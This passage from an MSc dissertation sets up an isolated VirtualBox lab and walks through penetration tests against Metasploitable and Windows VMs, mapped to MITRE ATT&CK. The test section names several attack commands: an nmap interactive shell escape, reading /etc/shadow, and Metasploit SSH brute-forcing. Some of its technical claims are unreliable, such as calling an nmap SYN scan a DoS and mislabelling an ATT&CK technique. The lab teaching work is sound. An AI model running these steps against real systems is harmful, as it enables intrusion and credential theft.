The cybersecurity penetration testing experiment requires specific software resources tailored for testing vulnerabilities and simulating attacks. Key tools include the Metasploit Framework, essential for exploiting vulnerabilities. Nmap aids in network reconnaissance and vulnerability scanning, providing detailed insights into potential entry points for attackers. Wireshark is crucial for capturing and analyzing network traffic during penetration tests to validate vulnerabilities and assess their impact. 
Atomic Red Team tools like Caldera are adaptable across Windows, Mac OS, and Linux platforms, emulate real-world adversary tactics aligned with the MITRE ATT&CK framework, enhancing the realism of simulated attacks. Oracle Virtual Box hosts the Metasploitable virtual machine, replicating typical network environments for controlled testing. All software is obtained from reputable sources to ensure reliability, security, and compatibility throughout the experimentation process.

[bookmark: _Toc174391370][bookmark: _Toc175413663]Conclusion
In conclusion, Chapter 3 provides a comprehensive framework for conducting the cybersecurity penetration testing project, integrating the MITRE ATT&CK framework with VAPT methodologies. The methodology outlines a systematic approach encompassing research philosophy, approach, strategy, and data collection techniques. By adopting a positivist research philosophy and a deductive approach, the study aims to rigorously test hypotheses and derive empirical insights into cybersecurity vulnerabilities and attack scenarios. 
The iterative development methodology ensures flexibility and responsiveness to evolving threats, supported by tools like Nmap, Metasploit, and Wireshark within the Oracle Virtual Box environment on a Windows 10 workstation. These resources enable thorough evaluation of attack vectors and mitigation strategies, crucial for enhancing organizational cybersecurity resilience. The chapter emphasizes reliability, validity, and generalizability of findings through structured data evaluation methods, ensuring the credibility and applicability of research outcomes in real-world cybersecurity contexts.

[bookmark: _Toc174391371][bookmark: _Toc175413664]Design and Implementation
[bookmark: _Toc174391372][bookmark: _Toc175413665]Introduction
To detect and reduce security threats in systems, networks, or web applications, vulnerability assessment and penetration testing, or VAPT, are essential. This project aims to enhance VAPT methodology by integrating the MITRE ATT&CK framework into the penetration testing phase, providing realistic simulations of adversary tactics and techniques. This approach ensures comprehensive security assessments and effective risk mitigation. The project also involves analyzing the network setup to implement these improvements, aiming for a more efficient and accurate security assessment process.

[bookmark: _Toc174391373][bookmark: _Toc175413666]Problem Formulation
The primary problem addressed in this project is the inefficiency and inaccuracy of traditional VAPT methodologies, which often result in missed vulnerabilities and inefficient use of resources. These issues can leave critical systems exposed to attacks, jeopardizing the security posture of an organization. To address this problem, the project proposes VAPT methodology that integrates advanced tools and the MITRE ATT&CK framework to optimize the scope and accuracy of assessments.
Planning and Scope Definition: Defining clear goals and the scope of the assessment ensures comprehensive coverage of critical assets and efficient resource allocation. This stage involves determining the specific objectives, assets to be tested, and the boundaries of the testing environment. Project management tools and scoping templates are utilized to perform the task.
Vulnerability Assessment: Automated tools are used to scan networks, systems, and applications to identify and catalog potential vulnerabilities. These tools enhance efficiency and accuracy in finding weaknesses, reducing the risk of human error. Current industry standard automated vulnerability scanners are Nessus, OpenVAS.
Penetration Testing: This phase tests the effectiveness of existing security measures and identifies vulnerabilities that can lead to significant security breaches. During this phase, the identified vulnerabilities are actively exploited to simulate real-world attack scenarios. The MITRE ATT&CK framework is integrated to replicate adversary tactics, techniques, and procedures (TTPs), providing a more realistic assessment of the system’s security posture. Exploitation frameworks (e.g., Metasploit), manual testing tools (e.g., Burp Suite), and the MITRE ATT&CK framework tool like Caldera are deployed.
Reporting: Detailed reports are generated outlining all discovered vulnerabilities, their severity, and any successful exploitation attempts. These reports are crucial for stakeholders to understand the security posture and prioritize remediation efforts. Reporting tools and templates are aligned with industry standards.
Remediation: The final stage focuses on addressing the identified vulnerabilities through fixes, patches, or configuration changes. Continuous monitoring tools help maintain an ongoing defense against emerging threats, ensuring long-term security improvements. Patch management systems and continuous monitoring tools are used to solve the problem.
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[bookmark: _Toc173940955][bookmark: _Toc175171081]Figure 31 Stages of VAPT Methodology [4]

A block diagram (Figure 31) visually represents the VAPT process, detailing the integration of tools, methods, and the MITRE ATT&CK framework specifically within the Penetration Testing stage. This diagram enhances understanding by clearly showing the flow and interaction of various components, ultimately improving the efficiency and effectiveness of the testing process. It offers a clear, structured view, aiding in better planning and execution of security assessments.

[bookmark: _Toc174391374][bookmark: _Toc175413667]Design
The design of the enhanced VAPT methodology is informed by insights from the literature review, ensuring a comprehensive, efficient, and accurate assessment process. The five-stage VAPT process, with the integration of the MITRE ATT&CK framework specifically during the Penetration Testing phase, provides a robust approach to security testing.
This MITRE ATT&CK integrated VAPT methodology will be implemented in an Oracle Virtual Box network setup, utilizing various virtual machines to represent different components of the network and security tools. This setup ensures an isolated and controlled environment, ideal for simulating real-world scenarios effectively.

Network Configuration: 
1. Network Layout and Structure
Host-Only Network: Ensures that VMs can communicate with each other but are isolated from the external network, simulating an internal network environment.
Internal Network: Configures an internal network for VMs to interact directly without internet access, ensuring a controlled test environment. 192.168.100.0/24 is the internal network represented in Figure 32.

2. Virtual Machines
Kali Linux Virtual Machine: Equipped with Caldera and Metasploit, Kali Linux serves as the primary attacker machine for penetration testing. These tools are essential for executing sophisticated attacks like DoS, Man-in-the-Middle and testing the security posture like security controls, patch management of the target systems.
Ubuntu Virtual Machine: Acts as an additional attacker machine or can be used for other testing purposes, adding flexibility to the testing environment.
Metasploitable Vulnerable Machine: Acts as the primary target with known vulnerabilities. It is connected to the network to simulate an internal system that can be attacked and assessed.
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[bookmark: _Toc173940956][bookmark: _Toc175171082]Figure 32 Network Setup



Windows 2019 Server:  Positioned as a central server within the network, it requires thorough security testing to ensure its integrity and protection against attacks.
Windows 10 Pro and Windows 10 Home: Representing typical user workstations, these VMs allow testing of different security measures and potential vulnerabilities from a user perspective.

Functional Setup: 
1. VirtualBox Configuration
Network Adapters: Configure network adapters in VirtualBox for the host-only and internal networks. This setup ensures proper communication flow between VMs and maintains the isolation necessary for accurate testing.
Resource Allocation: Allocate sufficient resources (CPU, memory, disk space) to each VM for optimal performance during scanning and testing. This allocation is critical to avoid performance bottlenecks that could skew the results.

2. Communication Flow
Kali Linux, Rogue Windows 10 Home and Ubuntu VMs initiate vulnerability scans and penetration testing activities on the target systems (Metasploitable, Windows 2019 Server, Windows 10 Pro, and Windows 10 Home).
The Metasploitable Machine serves as the primary target for initial vulnerability assessments and exploitation attempts.
The Windows 2019 Server and Windows 10 VMs are tested for vulnerabilities and their response to simulated attacks.
Detailed Reports generated from these tests are analyzed to identify weaknesses and prioritize remediation efforts.
Remediation involves using patch management systems and continuous monitoring tools to address identified vulnerabilities and improve the security posture.



The literature review highlights the limitations of traditional VAPT methodologies, such as inefficiency, inaccuracy, and missed vulnerabilities. By incorporating advanced tools and the MITRE ATT&CK framework, VAPT methodology addresses these issues, providing a more comprehensive and realistic assessment of security risks. The iterative nature of the process, supported by continuous re-evaluation and targeted remediation efforts, ensures that the scope of assessments is continually refined and optimized.

Based on the results from the reports and the effectiveness of remediation efforts, the scope of the next assessment can be dynamically adjusted to cover new areas of concern or previously missed vulnerabilities. This iterative approach fosters continuous improvement in the VAPT process, ensuring that the methodology evolves to address new threats and vulnerabilities as they emerge.

The block diagram of the proposed VAPT methodology not only provides a structured view of the process but also underscores the importance of iterative re-evaluation and targeted remediation efforts. This approach ensures that the scope of assessments is continually refined and optimized, leading to more accurate and effective vulnerability management. The design, with its comprehensive layout and structured network setup, exemplifies the integration of literature review insights into practical application, thus enhancing the overall security posture of the organization.










[bookmark: _Toc174391375][bookmark: _Toc175413668]Implementation
This implementation guide provides detailed steps for setting up virtual machines (VMs) including Metasploitable 2, Kali Linux, Ubuntu 24 LTS, Windows 10 Home, and Windows Server 2019 in Oracle VirtualBox. It covers the VM creation process, operating system installation, and network setup according to specified configurations. Then, it concludes with verifying IP settings and network connectivity, ensuring that each VM is properly configured and operational.

[bookmark: _Toc174391376][bookmark: _Toc175413669]Metasploitable 2 Vulnerable Virtual machine

Setting up the Virtual Machine:
To set up Metasploitable 2 in Oracle VirtualBox, launch VirtualBox and create a new virtual machine. Name it "Metasploitable-2", set the type to "Linux" and version to "Oracle Linux (64-bit)". Allocate 4096 MB RAM, select "Use an existing virtual hard disk file", and choose the Metasploitable.vmdk file as in the below figures.
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[bookmark: _Toc173940957][bookmark: _Toc175171083]Figure 33 Metasploitable VM Setup
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[bookmark: _Toc173940958][bookmark: _Toc175171084]Figure 34 Metasploitable VM Creation

Starting up Metasploitable-2 Virtual Machine:
To start the VM, select "Metasploitable-2" and click "Start". Log in using the default credentials (username: msfadmin, password: msfadmin).
To configure network settings for the virtual machine, set up two adapters. For the first adapter, assign an internal network, static IP address. For the second adapter, configure DHCP with a Host-Only network.
To configure a static IP address in the “/etc/network/interfaces” file, open the file using a text editor with superuser privileges. Edit the configuration for the network interface by specifying the static IP details. Provide 192.168.1.100, 255.255.255.0, and 192.168.1.1 as the desired IP address, subnet mask, and gateway respectively as narrated in Figure 30.  Save the changes and restart the networking service using “sudo /etc/init.d/networking restart” to apply the new settings. Use ifconfig to check the assigned IP address and ping command output to confirm network connectivity as shown in the below figures.
[image: C:\Users\sakthi\Documents\Sampling\Meta - Capture5.JPG]
[bookmark: _Toc173940959][bookmark: _Toc175171085]Figure 35 Metasploitable Static IP Address Configuration       
[image: C:\Users\sakthi\Documents\Sampling\Meta - Capture6.JPG]
[bookmark: _Toc173940960][bookmark: _Toc175171086]Figure 36 Metasploitable Ifconfig output
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[bookmark: _Toc173940961][bookmark: _Toc175171087]Figure 37 Metasploitable Network Connectivity

[bookmark: _Toc174391377][bookmark: _Toc175413670]Kali Linux Virtual machine
To install Kali Linux in Oracle VirtualBox with a Host-Only Adapter, first launch VirtualBox and create a new VM named "Kali-Box," selecting "Linux" and "Oracle Linux (64-bit)." Allocate 6144 MB RAM and select "Use an existing virtual hard disk file", and choose the VDI file. Configure the network adapter to "Host-Only Adapter," then start the VM and follow the installation prompts. After installation, log in with default credentials "kali/kali," check the IP address with ifconfig, and test connectivity using ping command as confirmed in the below figures.
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[bookmark: _Toc173940962][bookmark: _Toc175171088]Figure 38 Kali Linux VM Setup
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[bookmark: _Toc173940963][bookmark: _Toc175171089]Figure 39 Kali Linux VM Creation
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[bookmark: _Toc173940964][bookmark: _Toc175171090]Figure 40 Kali Linux Network Connectivity

[bookmark: _Toc174391378][bookmark: _Toc175413671]Ubuntu 24 LTS desktop Virtual machine
Setting up the Virtual Machine:
Start Oracle VirtualBox on your computer. Click "New" to open the VM creation wizard. Name the VM "Ubuntu-24," choose the VM storage location, set "Type" to "Linux," and "Version" to "Ubuntu (64-bit)." Click "Next." Assign at least 8192 MB of RAM for optimal performance and allocate disk size of 80 GB to create the virtual machine as in the below figures.
[image: C:\Users\sakthi\Documents\Sampling\Ubun - Capture1.JPG]    
[bookmark: _Toc173940965][bookmark: _Toc175171091]Figure 41 Ubuntu VM Setup
 [image: C:\Users\sakthi\Documents\Sampling\Ubun - Capture2.JPG]
[bookmark: _Toc173940966][bookmark: _Toc175171092]Figure 42 Ubuntu VM Creation
Attaching the ISO Image: 
Select the VM, go to "Settings," then the "Storage" tab. Click on the empty optical drive, select "Choose a disk file," find the Ubuntu 24 LTS ISO, and click "Open” as illustrated in Figure 38. Click "OK" to save settings, select the VM, and click "Start." 
[image: C:\Users\sakthi\Documents\Sampling\Ubun - Capture3.JPG]  
[bookmark: _Toc173940967][bookmark: _Toc175171093] Figure 43 Ubuntu ISO Image Mapping

Starting up Ubuntu-24 Virtual Machine:
The VM will boot from the ISO to begin the installation. Follow the on-screen prompts to set up the user-defined username, password, and computer name. Complete the installation by configuring the basic preferences. Once Ubuntu is installed, open Settings, navigate to Network, select the wired connection, click the gear icon, set IPv4 to Manual, enter the static IP address, Netmask, and Gateway and Click "Apply" to save. Use the ifconfig command to check the IP address and ping command to test network connectivity as confirmed in the below figures.
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[bookmark: _Toc173940968][bookmark: _Toc175171094]Figure 44 Ubuntu OS Installation
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[bookmark: _Toc173940969][bookmark: _Toc175171095]Figure 45 Ubuntu Login Account Creation
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[bookmark: _Toc173940970][bookmark: _Toc175171096]Figure 46 Ubuntu Static IP Address Configuration
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[bookmark: _Toc173940971][bookmark: _Toc175171097]Figure 47 Ubuntu Network Connectivity

[bookmark: _Toc174391379][bookmark: _Toc175413672]Windows 10 Home Virtual machine
Setting up the Virtual Machine:
Start Oracle VirtualBox on the host computer to begin the virtual machine setup process. Click "New" to initiate the virtual machine creation wizard. Enter "Windows-10-Home" as the VM name. Choose a location for VM files and select the ISO file from the local drive. Set the type to "Windows" and version to "Windows 10 (64-bit)." Click "Next." Assign 8192MB of RAM and allocate 80GB of disk space and click "Create” as in below figures.
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[bookmark: _Toc173940972][bookmark: _Toc175171098]Figure 48 Windows 10 Home VM Setup
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[bookmark: _Toc173940973][bookmark: _Toc175171099]Figure 49 Windows 10 Home VM Creation

Starting up Windows-10-Home Virtual Machine:
Click "Start" to boot the VM from the ISO, which will initiate the Windows 10 installation. Follow the installation prompts to set up Windows 10 Home, which allows user account creation and password setup on limited internet setup as in the below figures.
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[bookmark: _Toc173940974][bookmark: _Toc175171100]Figure 50 Windows 10 Home OS Selection
[image: C:\Users\sakthi\Documents\Sampling\WH - Capture11.JPG]
[bookmark: _Toc173940975][bookmark: _Toc175171101]Figure 51 Limited Network Installation process

Configuring Static IP Address:
Once the installation is complete, go to "Settings,” followed by "Network & Internet," and "Status." Click "Change adapter options," right-click "Ethernet," and select "Properties." Choose "Internet Protocol Version 4 (TCP/IPv4)," Select "Use the following IP address," then input the static IP address, Subnet mask, and Default gateway. Click "OK" to apply.  By following these steps, we have successfully installed Windows 10 Home, configured a static IP address, by setting up an internal network with limited internet connectivity as shown in Figure 52.
[image: C:\Users\sakthi\Documents\Sampling\WH - Capture14.JPG]
[bookmark: _Toc173940976][bookmark: _Toc175171102]Figure 52 Windows Static IP Address Configuration

[bookmark: _Toc174391380][bookmark: _Toc175413673]Internal Network Communication
The Metasploitable VM, Ubuntu VM, and Windows 10 Home VM are set up on an internal network, isolated from the Kali Linux VM as depicted in Figure 53. Each VM is assigned a unique static IP address, ensuring they can communicate with one another. This network setup is verified, by executing the ping command from each VM, confirming successful reachability to the other VMs within the internal network.    
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[bookmark: _Toc173940977][bookmark: _Toc175171103]Figure 53 Internal Network Setup
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[bookmark: _Toc173940978][bookmark: _Toc175171104]Figure 54 Windows 10 Home Internal Network Connectivity
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[bookmark: _Toc173940979][bookmark: _Toc175171105]Figure 55 Ubuntu Internal Network Connectivity
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[bookmark: _Toc173940980][bookmark: _Toc175171106]Figure 56 Metasploitable Internal Network Connectivity

[bookmark: _Toc174391381][bookmark: _Toc175413674]Windows 10 Home Virtual machine
Setting up the Virtual Machine:
Similar to the previous installation, Launch the virtual machine creation wizard. Name the VM "Rogue-Windows-10,” with the same settings to create another Windows 10 Home VM as shown in the below figures.
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[bookmark: _Toc173940981][bookmark: _Toc175171107]Figure 57 Windows 10 Home VM Setup
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[bookmark: _Toc173940982][bookmark: _Toc175171108]Figure 58 Windows 10 Home VM Creation

Starting up Windows-10-Home Virtual Machine:
Click "Start" to boot the VM from the ISO, following the same Windows 10 installation process. Set the network adapter to "Host-Only Adapter," start the VM, log in with the credentials, verify the IP address using ifconfig, and test connectivity with the ping command as seen in the below figures.
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[bookmark: _Toc173940983][bookmark: _Toc175171109]Figure 59 Windows 10 Home OS Selection
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[bookmark: _Toc173940984][bookmark: _Toc175171110]Figure 60 Limited Network Installation process
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[bookmark: _Toc173940985][bookmark: _Toc175171111]Figure 61 Windows 10 Home Network Connectivity

[bookmark: _Toc174391382][bookmark: _Toc175413675]Windows 2019 Server Virtual machine
Setting up the Virtual Machine:
Start Oracle Virtual Box and open the virtual machine creation wizard by clicking “New". Name the VM "Windows-2019-Server" choose the storage location for VM files and the ISO image, select "Microsoft Windows" as the type, and "Windows 2019 (64-bit)" as the version. Click "Next." Assign 8192MB of RAM and specify 120GB of storage space for the virtual hard drive to create the virtual machine as depicted in the below figures.
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[bookmark: _Toc173940986][bookmark: _Toc175171112]Figure 62 Windows 2019 Server VM Setup
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[bookmark: _Toc173940987][bookmark: _Toc175171113]Figure 63 Windows 2019 Server VM Creation

Starting up Windows-2019-Server Virtual Machine:
Set the network adapter to "Host-Only Adapter".  Select the VM and click "Start" to boot from the ISO. Follow the installation prompts to complete the Windows Server 2019 setup, including user account creation and system configuration. After installation, open Command Prompt, use ipconfig to check the IP address, and ping command to verify network connectivity as confirmed in the following figures.
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[bookmark: _Toc173940988][bookmark: _Toc175171114]Figure 64 Windows 2019 Server OS Installation
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[bookmark: _Toc173940989][bookmark: _Toc175171115]Figure 65 Windows 2019 Server Login Account Setup
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[bookmark: _Toc173940990][bookmark: _Toc175171116]Figure 66 Windows 2019 Server Network Connectivity


[bookmark: _Toc174391383][bookmark: _Toc175413676]Windows 10 Pro Virtual machine
Setting up the Virtual Machine:
Open Oracle VirtualBox and click "New" to launch the VM creation wizard. Configure the VM with the name "Windows-10-Pro," select the storage location for VM files and ISO image from the local drive. Choose "Windows" as the type and "Windows 10 (64-bit)" as the version, then click "Next." Allocate 8192 MB of RAM and 80 GB of disk space, then click "Create”.
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[bookmark: _Toc173940991][bookmark: _Toc175171117]Figure 67 Windows 10 Pro VM Setup
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[bookmark: _Toc173940992][bookmark: _Toc175171118]Figure 68 Windows 10 Pro VM Creation


Starting up Windows-10-Pro Virtual Machine:
Set the network adapter to "Host-Only Adapter". Boot the VM from the ISO to initiate the Windows 10 Pro installation. Follow the installation prompts to set up Windows 10 Pro, including user account creation, PIN and system personalization. Open Command Prompt, use ipconfig to check IP configuration, and employ the ping command to confirm connectivity within the host-only network as depicted in the below figures.
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[bookmark: _Toc173940993][bookmark: _Toc175171119]Figure 69 Windows 10 Pro OS Selection
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[bookmark: _Toc173940994][bookmark: _Toc175171120]Figure 70 Personal Use Setup & Installation process
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[bookmark: _Toc173940995][bookmark: _Toc175171121]Figure 71 Windows 10 Pro Network Connectivity

[bookmark: _Toc174391384][bookmark: _Toc175413677]Host-Only Adapter Network Communication

The Windows 2019 Server VM, Windows 10 Pro VM, Windows 10 Home VM, Kali Linux VM, and Metasploitable VM are configured on a host-only adapter network as shown in Figure 72. Two distinct test environments have been established: one focuses on testing the Metasploitable VM for vulnerabilities using the Kali VM, and the other uses Caldera in the Kali VM and Windows 10 Home VM to assess the security posture of the Windows 2019 Server acting as a domain controller. Each VM is assigned a unique DHCP IP address, and network connectivity is verified by successfully pinging between the VMs as confirmed in the following figures. 
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[bookmark: _Toc173940996][bookmark: _Toc175171122]Figure 72 Host-only Adapter Network Setup
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[bookmark: _Toc173940997][bookmark: _Toc175171123]Figure 73 Kali Linux/Metaspoitable Host-only Adapter Network Connectivity
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[bookmark: _Toc173940998][bookmark: _Toc175171124]Figure 74 Metaspoitable/Kali Linux Host-only Adapter Network Connectivity
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[bookmark: _Toc173940999][bookmark: _Toc175171125]Figure 75 Kali Linux/Windows Domain Host-only Adapter Network Connectivity

[image: C:\Users\sakthi\Documents\Sampling\WS-Capture15.JPG]
[bookmark: _Toc173941000][bookmark: _Toc175171126]Figure 76 Windows 2019 Server Host-only Adapter Network Setup & Connectivity
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[bookmark: _Toc173941001][bookmark: _Toc175171127]Figure 77 Windows 10 Pro Host-only Adapter Network Setup & Connectivity
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[bookmark: _Toc175171128]Figure 78 Windows 10 Home Host-only Adapter Network Setup & Connectivity

[bookmark: _Toc174391385][bookmark: _Toc175413678]Oracle VirtualBox Setup
The setup of VMs including Metasploitable 2, Kali Linux, Ubuntu 24, Windows 10 Home, and Windows Server 2019 in Oracle VirtualBox is complete as shown in Figure 79. We can now proceed with experiments using this configured network environment.
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[bookmark: _Toc173941003][bookmark: _Toc175171129]Figure 79 Oracle VirtualBox Network Setup

[bookmark: _Toc174391386][bookmark: _Toc175413679]Conclusion
This chapter details the setup of various virtual machines in Oracle VirtualBox, including Metasploitable 2, Kali Linux, Ubuntu 24 LTS, Windows 10 Home, and Windows Server 2019, for a comprehensive Vulnerability Assessment and Penetration Testing (VAPT) environment. The configuration utilizes host-only and internal network settings to simulate an isolated network. Key tools like Metasploit, Caldera, and the MITRE ATT&CK framework are integrated to enhance testing realism. This setup allows for thorough vulnerability identification, exploitation, and remediation, ensuring a robust assessment and improvement of the security posture. The design and implementation underscore the importance of a methodical and iterative process in cybersecurity assessments.

















[bookmark: _Toc174391387][bookmark: _Toc175413680]Testing and Evaluation
[bookmark: _Toc174391388][bookmark: _Toc175413681]Introduction
Integrating MITRE ATT&CK with VAPT's nine stages improves threat modeling, attack coverage, and testing realism, enhancing vulnerability detection, risk management, and security. This approach is useful for penetration testers and security professionals, ensuring accuracy and resource efficiency, validated through experimental assessment and analysis.

[bookmark: _Toc174391389][bookmark: _Toc175413682]VAPT Methodology
The Vulnerability Assessment and Penetration Testing (VAPT) methodology is a structured approach for identifying and mitigating security vulnerabilities. It consists of nine phases:
Scope: The testing approach is defined
Reconnaissance: Gathering target information 
Vulnerability Detection: Identifying system weaknesses
Information Analysis and Planning: Strategizing for penetration testing.
Penetration Testing: Simulating attacks
Privilege Escalation: Gaining deeper access
Result Analysis: Understanding vulnerability implications
Reporting: Documenting findings and recommendations.
Cleanup: Remove threats, restore systems, and secure access.

[bookmark: _Toc174391391][bookmark: _Toc175413683]Testing
[bookmark: _Toc174391392][bookmark: _Toc175413684]Metasploitable Test Scenario
Metasploitable, Windows 10, and Ubuntu VMs are in the internal network [192.168.1.0/24], while Kali VM [192.168.56.103] attacks Metasploitable [192.168.56.102] as in Figure 80. We’ll explore penetration testing activities at each stage of the VAPT methodology including SSH Login Exploit, DISTCC Remote Code Execution on Metasploitable VM, and SAMBA Exploit and DOS attack on the Windows VM.
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[bookmark: _Toc175171130]Figure 80 Metasploitable Test Setup

[bookmark: _Toc175413685]Vulnerability Assessment
Vulnerability assessment identifies and analyzes system weaknesses to protect businesses before attackers exploit them. It focuses on gathering information to uncover vulnerabilities and strengthen security, ensuring that potential threats are addressed proactively. Key phases from VAPT includes,
· Scope
· Reconnaissance
· Vulnerability Detection
· Information Analysis and Planning

Scope:
The scope phase in VAPT helps pentesters focus on agreed-upon vulnerabilities, ensuring targeted testing, while benefiting stakeholders by aligning security efforts with business priorities and risks. Understanding network layout is essential, with “ifconfig” aiding in identifying interfaces and IP addresses as shown in Figure 81.
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[bookmark: _Toc173941004][bookmark: _Toc175171131]Figure 81 Kali Linux - Ifconfig Output

Reconnaissance: 
The reconnaissance phase in VAPT helps pentesters identify potential vulnerabilities, benefiting companies by enabling targeted, efficient security testing. Figure 82 shows how “ifconfig” for passive reconnaissance with “tcpdump” discreetly identify host IPs in the [192.168.56.0/24] network.
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[bookmark: _Toc173941005][bookmark: _Toc175171132]Figure 82 Kali Linux - TCPDUMP Output

Figure 83 shows "Netdiscover" confirms active hosts from "tcpdump" data, refining scope. "Nmblookup" identifies a Metasploitable machine, highlighting its exploitation potential.
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[bookmark: _Toc173941006][bookmark: _Toc175171133]Figure 83 Kali Linux - Active Reconnaissance Tools

	
Spiderfoot's active scan on the Metasploitable machine identifies vulnerable ports, notably SSH banner on port 22, providing comprehensive security insights as in below Figures.
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[bookmark: _Toc173941007][bookmark: _Toc175171134]Figure 84 Kali Linux - Spiderfoot Open TCP Ports
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[bookmark: _Toc173941008][bookmark: _Toc175171135]Figure 85 Kali Linux - Spiderfoot Open TCP Port Banner


Vulnerability Detection:
Reconnaissance findings guide pentesters execute targeted vulnerability detection, optimizing scope and effectiveness. OpenVAS identified 13 high-severity vulnerabilities, including critical Distcc RCE, on the Metasploitable VM, essential for focused remediation and enhancing security posture, as shown in Figure 86.
[image: C:\Users\sakthi\Documents\MSc Cybersecurity\MSc Research Project\Experiment\SSH-Capture16.JPG]
[bookmark: _Toc173941009][bookmark: _Toc175171136]Figure 86 Kali Linux - Openvas Scan Results

Information Analysis and Planning: 
Information analysis reveals critical vulnerabilities like Distcc RCE and SSH Login Banner on port 22, guiding focused penetration testing to exploit and address these security weaknesses effectively. 


[bookmark: _Toc175413686]Penetration Testing 
Incorporating MITRE ATT&CK in penetration testing aligns with real-world attack techniques, enhancing threat simulations and improving security defenses for companies. It helps to optimize resource use for a thorough security assessment, demonstrated on Metasploitable VM.

Session: 1 DistCC Remote Code Execution 
DistCC 2.x in XCode 1.5 allows remote attackers to execute commands due to unrestricted port access, posing significant risks. [33] A remote session is established with the Metasploitable machine as shown in Figure 87. This attack method help pentesters simulate command execution vulnerabilities, improving detection and remediation.
Tactic: Execution
Technique: Exploitation for Client Execution [T1203]
[image: C:\Users\sakthi\Documents\MSc Cybersecurity\MSc Research Project\Experiment\SAMBA-Capture1.JPG]
[bookmark: _Toc173941010][bookmark: _Toc175171137]Figure 87 Kali Linux - Metasploit Distcc Exploit Execution


After establishing a remote shell, executing the “ifconfig” command in Figure 88, reveals available network interfaces and IP addresses. This attack method help pentesters map networks and identify exploitable targets.
Tactic: Discovery
Technique: Remote System Discovery [T1018]
[image: C:\Users\sakthi\Documents\MSc Cybersecurity\MSc Research Project\Experiment\SAMBA-Capture2.JPG]
[bookmark: _Toc173941011][bookmark: _Toc175171138]Figure 88 Kali Linux - Metasploitable Ifconfig Output


An internal network is found on Metasploitable VM. An Nmap scan on the network, 192.168.1.0/24” reveals one active host, 192.168.1.102, with open ports and another host, 192.168.1.101 with all the closed ports as in Figure 89. This attack method help pentesters identify open ports and active hosts.
Tactic: Discovery
Technique: Network Service Discovery [T1046]

[image: C:\Users\sakthi\Documents\MSc Cybersecurity\MSc Research Project\Experiment\SAMBA-Capture3.JPG]
[bookmark: _Toc173941012][bookmark: _Toc175171139]Figure 89 Kali Linux - Metasploitable Nmap Port Scan Results

Case: 1 DOS Attack Scenario
DOS attack is launched using the command “nmap –sS 192.168.1.102” in Figure 92, floods the Windows 10 Home VM in the internal network with SYN packets as in Figure 90, causing potential disruption or unavailability. DOS attack scenario in MITRE ATT&CK Framework impacts the system availability by overwhelming it with the traffic. This attack method help pentesters assess system resilience and mitigate disruption risks
Tactic: Impact
Technique: Network Denial of Service [T1498]
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[bookmark: _Toc173941013][bookmark: _Toc175171140]Figure 90 Windows 10 Home - Wireshark SYN Packet Capture


The Windows 10 Home VM responds to the SYN flood with RST flags as indicated in Figure 91, indicating it rejects the connection attempts. This response shows the system's defensive behavior against SYN floods. As a result, the DOS attack resulted in system disruption and connection rejection. This attack method help pentesters evaluate and improve system defenses against attacks.
Tactic: Defense Evasion
Technique: Network Denial of Service Mitigation [T1499.001]

[image: C:\Users\sakthi\Documents\MSc Cybersecurity\MSc Research Project\Experiment\SAMBA-Capture5.JPG]
[bookmark: _Toc173941014][bookmark: _Toc175171141]Figure 91 Windows 10 Home - Wireshark RST Packet Capture


Case: 2 SMB Attack Scenario
An Nmap SYN scan followed by an Nmap service scan revealed active SMB services on ports 139 and 445 on the Windows 10 VM. These open ports indicate potential vulnerabilities in network file sharing, warranting further exploitation. SMB port discovery identifies potential vulnerabilities for targeted exploitation.
Tactic: Discovery
Technique: Network Service Discovery [T1046]
[image: C:\Users\sakthi\Documents\MSc Cybersecurity\MSc Research Project\Experiment\SAMBA-Capture6.JPG]
[bookmark: _Toc173941015][bookmark: _Toc175171142]Figure 92 Kali Linux - Metasploitable Nmap Scan Results


“nmap –interactive” enables command execution during scans; “!sh” invokes a shell, aiding privilege escalation to execute commands as in Figure 93. This attack method allows command execution, aiding privilege escalation by exploiting control mechanisms.
Tactic: Privilege Escalation
Technique: Abuse Elevation Control Mechanism [T1548]
The “cat /etc/shadow” command reveals hashed passwords as in Figure 93. This attack method reveals hashed passwords aids pentesters in cracking credentials for access.
Tactic: Credential Access
Technique: OS Credential Dumping - /etc/shadow [T1003.008]
[image: C:\Users\sakthi\Documents\MSc Cybersecurity\MSc Research Project\Experiment\SAMBA-Capture7.JPG]
[bookmark: _Toc173941016][bookmark: _Toc175171143]Figure 93 Kali Linux - Metasploitable Shell Command Outputs

“Johnny”, a GUI for John the Ripper, facilitates password cracking, revealing weak passwords for three user accounts, highlighting critical vulnerabilities in account security. Brute force cracking reveals weak passwords, aiding in credential access.
Tactic: Credential Access 
Technique: Brute Force - Password Cracking [T1110.002]

[image: C:\Users\sakthi\Documents\MSc Cybersecurity\MSc Research Project\Experiment\SAMBA-Capture8.JPG]
[bookmark: _Toc173941017][bookmark: _Toc175171144]Figure 94 Kali Linux - Johnny Password Cracker

Despite no open ports on Ubuntu, it is used to access SMB services on Windows 10 VM. The IP address [192.168.1.101] identifies Ubuntu within the internal network, as shown in Figure 95.
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[bookmark: _Toc173941018][bookmark: _Toc175171145]Figure 95 Ubuntu VM - Ifconfig Output

Figure 96 shows the access to the "share" folder on the Windows 10 VM is gained from the Ubuntu VM, allowing file upload using “smbclient”. Gaining SMB access allows pentesters to control remote systems and test security.
Tactic: Lateral Movement
Technique: Remote Services - SMB/Windows Admin Shares [T1021.002]
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[bookmark: _Toc173941019][bookmark: _Toc175171146]Figure 96 Ubuntu VM - SMB File Share Access Outputs

This attack scenario effectively uses SMB for discovering vulnerabilities, escalating privileges, accessing credentials, and performing lateral movements within the network.


Session: 2 
Case: 3 SSH Login Attack Scenario
The “auxiliary/scanner/ssh/ssh_login” Metasploit module brute-forces SSH credentials on the Metasploitable VM, exploiting weak passwords by using predefined username and password files to gain unauthorized access shown in Figure 97. Using Metasploit to brute-force weak SSH credentials simulates a Credential Access attack scenario. Brute-forcing weak SSH credentials reveals vulnerabilities and assesses security robustness.
Tactic: Credential Access
Technique: Brute Force - Credential Stuffing [T1110.004]
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[bookmark: _Toc173941020][bookmark: _Toc175171147]Figure 97 Kali Linux - Metasploit SSH Login Options

Metasploit’s SSH brute-force attempt failed due to consistent timeouts, even with adjusted “Bruteforce_speed” and “threads”, blocking access as in Figure 98.
[image: C:\Users\sakthi\Documents\MSc Cybersecurity\MSc Research Project\Experiment\SSH-Capture19.JPG]
[bookmark: _Toc173941021][bookmark: _Toc175171148]Figure 98 Kali Linux - Metasploit SSH Login - Connection Expired

Figure 99 depicts successful SSH login with default credentials (msfadmin) validated the exploit and bypassed timeout issues.
